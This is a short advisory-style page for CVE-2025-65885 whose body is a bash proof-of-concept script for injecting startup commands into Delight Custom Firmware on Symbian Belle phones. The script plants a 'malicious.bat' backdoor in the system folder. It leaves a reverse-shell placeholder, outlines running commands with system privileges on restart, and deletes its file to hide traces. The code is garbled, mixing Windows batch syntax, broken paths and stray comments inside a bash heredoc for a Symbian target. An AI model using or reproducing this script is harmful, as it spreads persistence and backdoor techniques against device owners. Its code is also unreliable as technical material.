CVE-2025-65885: Delight Custom Firmware启动脚本注入漏洞

#!/bin/bash # CVE-2025-65885 PoC - Startup Script Injection in Delight CFW # Target: Nokia Symbian Belle devices with Delight Custom Firmware # Create malicious startup script file cat > ':\\Data\\startup_inject.txt' << 'EOF' # Delight CFW Startup Script Injection PoC # This script demonstrates the injection vulnerability # Create a backdoor entry in autoexec.bat or equivalent if exist C:\\sys\\bin\\autostart.exe ( echo Backdoor already exists ) else ( # Inject malicious code that would execute on startup echo @echo off > C:\\sys\\bin\\malicious.bat echo rem Injected by CVE-2025-65885 >> C:\\sys\\bin\\malicious.bat echo # Add reverse shell or persistence mechanism here >> C:\\sys\\bin\\malicious.bat ) # Alternative: Direct command injection # The system reads .txt files from :\Data and executes them # An attacker can place commands that will run with elevated privileges # Example payload structure: # 1. Create file at :\Data\config.txt # 2. Insert shell commands # 3. Wait for system/service restart # 4. Commands execute with system privileges # Cleanup痕迹 del startup_inject.txt EOF echo "PoC file created. When device restarts, malicious commands will execute."